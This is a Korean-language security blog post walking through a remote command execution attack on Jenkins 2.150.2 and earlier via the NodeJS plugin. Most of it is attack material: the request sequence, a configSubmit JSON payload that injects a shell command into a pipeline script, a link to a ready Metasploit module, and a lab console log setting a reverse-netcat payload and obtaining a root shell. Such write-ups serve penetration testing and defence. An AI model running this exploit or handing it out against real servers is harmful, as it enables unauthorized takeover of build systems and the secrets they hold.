Jenkins RCE Vulnerability via NodeJS(using metasploit module)

최근에 따로 봤었던 내용인데, 톡방으로 관련 내용 공유(https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html)받아 이참에 블로그 포스팅으로 작성해봅니다.

Summary

Jenkins에서 JOB 생성 및 Build 권한을 가진 사용자 계정이 탈취됬을 때 이를 이용해서 시스템 명령을 실행할 수 있는 취약점으로 영향받는 버전은 아래와 같습니다.
Jenkins <= 2.150.2
+ 라곤 이야기 나왔지만, 최신 버전 기준으로 영향있다고 합니다.(thanks bae!)
+ 결국 사용자 계정 관리 및 ACL이 핵심인듯 하구요..

우선 사용자 계정 획득, NodeJS Plugin 사용이라는 전제조건이 붙긴 하지만, 계정 자체가 시스템 명령 실행이 불가능한 계정이기 떄문에 계정탈취나 계정을 가진 사용자로부터 공격이 일어났을 때 서버에서 명령 실행이 가능하여 리스크가 좀 있는 것 같습니다.

What is Vulnerable?

정확한 Write-up은 없어서 공격코드 보고 추측한거긴한데,
Jenkins는 Remote API를 지원해줍니다. 그래서 API Call을 통해서 JOB을 등록하고 Build할 수 있습니다.
(https://wiki.jenkins.io/display/JENKINS/Remote+access+API)
curl -X POST JENKINS_URL/job/JOB_NAME/build \
--user USER:TOKEN \
--data-urlencode json='{"parameter": [{"name":"id", "value":"123"}, {"name":"verbosity", "value":"high"}]}'
이 과정 중 NodeJS 플러그인이 설치되어 있다면 JSON 트리에서 definition>script 부분에 nodejs 스크립트를 삽입할 수 있게 됩니다.

(https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin)
그래서 이런식으로 JOB 등록/빌드 요청에서 Node 구문을 전달해줄 수 있고 Node구문 전달이 가능하니 명령 실행이 아주 쉽게 일어나게 됩니다.

node {
env.NODEJS_HOME = "${tool 'Node 6.x'}"
// on linux / mac
env.PATH="${env.NODEJS_HOME}/bin:${env.PATH}"
// on windows
env.PATH="${env.NODEJS_HOME};${env.PATH}"
sh 'npm --version'
}
예제 코드로만 봐도 sh로 npm 버전을 체크하는 걸 알 수 있죠.
전체 공격코드도 비슷한 흐름으로 동작합니다.
A. 로그인
  • POST /j_acegi_security_check
B. 잡 생성
  • GET /view/all/newJob
C. Item 생성, 페이로드 세팅
  • POST /view/all/createItem
  • POST /job/cmd/configSubmit (아래 부분 중 definition:{"script":"node"{코드코드} 부분)
{"description": "cmd", "properties": {"stapler-class-bag": "true", "hudson-security-AuthorizationMatrixProperty": {}, "jenkins-model-BuildDiscarderProperty": {"specified": false, "": "0", "strategy": {"daysToKeepStr": "", "numToKeepStr": "", "artifactDaysToKeepStr": "", "artifactNumToKeepStr": "", "stapler-class": "hudson.tasks.LogRotator", "$class": "hudson.tasks.LogRotator"}}, "org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty": {"specified": false}, "org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty": {"specified": false}, "com-coravy-hudson-plugins-github-GithubProjectProperty": {}, "org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty": {"specified": false, "hint": "MAX_SURVIVABILITY"}, "org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty": {"specified": false, "buildCount": "1"}, "hudson-model-ParametersDefinitionProperty": {"specified": false}, "jenkins-branch-RateLimitBranchProperty$JobPropertyImpl": {}, "org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty": {"triggers": {"stapler-class-bag": "true"}}}, "disable": false, "hasCustomQuietPeriod": false, "quiet_period": "5", "displayNameOrNull": "", "": "0", "definition": {"script": "node {\\n    sh \\"#{shell}\\"\\n}", "": ["try sample Pipeline...", "\\u0001\\u0001"], "sandbox": true, "stapler-class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition", "$class": "org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition"}, "core:apply": "", "Jenkins-Crumb": "#{crumb}"}"}
D. 트리거
  • POST /job/cmd/build?delay=0sec

Code on Mad-Metasploit

아래 링크에서 직접 다운로드 받아도 되고 Mad-Metasploit에 추가해뒀으니 아래 명령으로 적용하셔서 사용하셔도 됩니다.
(https://pentest.com.tr/exploits/jenkins_nodejs_rce.rb)

[ Raw file ]
https://github.com/hahwul/mad-metasploit/blob/936bf45e426490f6de5452da142a9981a9c7c802/mad-metasploit-modules/exploits/multi/http/jenkins_nodejs_rce.rb

[ Use mad-metasploit ]
A. Sync mad-metasploit
./mad-metasploit -y
[+] Sync Mad-Metasploit Modules/Plugins/Resource-Script to Metasploit-framework
[+] Metasploit-framewrk directory: /opt/metasploit-framework/embedded/framework/
(set ./conf/config.rb)
- Sync Custom Modules
- Auxiliary success..
- Exploits success..
- Posts success..
- Sync Custom Plugins
- Plugins success.
[!] Finish :)

B. Run Metasploit and use this module
HAHWUL > search nodejs

Matching Modules
================

Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/dos/http/nodejs_pipelining 2013-10-18 normal Yes Node.js HTTP Pipelining Denial of Service
exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce 2019-02-11 good Yes Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)


HAHWUL > use exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > show options

Module options (exploit/mad_metasploit/exploits/multi/http/jenkins_nodejs_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
PATH / yes The path to jenkins
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Jenkins <= 2.150.2

Exploiting with Metasploit

옵션이 복잡하진 않습니다. Payload 세팅과 대상 정보 들어가면되고, 계정/패스워드는 인증이 있는 부분에선 필수가 되겠고, 인증 없이 사용하는 서버라면 바워줘도 Exploit이 가능합니다.

Set options
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set LHOST 192.168.0.7
LHOST => 192.168.0.7
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set RHOSTS 192.168.0.15
RHOST => 192.168.0.15
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set USERNAME test1
USERNAME => test1
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set PASSWORD test1234
USERNAME => test1234

Exploit!
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > exploit

[*] Started reverse TCP handler on 192.168.0.7:4444
[*] Attempting to login to Jenkins dashboard
[*] JSESSIONID.018cd1c9=node03yxndnkhivmt1dy09oduoa4zz11.node0;
[*] Logging in...
[+] Login Successful
[*] Jenkins-Crumb: 4c8119fd983b2e4c4c27307457d3f8b3
[+] Pipeline was created and Node JS code was integrated.
[*] Trying to get remote shell..
[*] Command shell session 1 opened (192.168.0.7:4444 -> 192.168.0.15:46044)

whoami

root

Reference

https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html
https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin
https://wiki.jenkins.io/display/JENKINS/Remote+access+API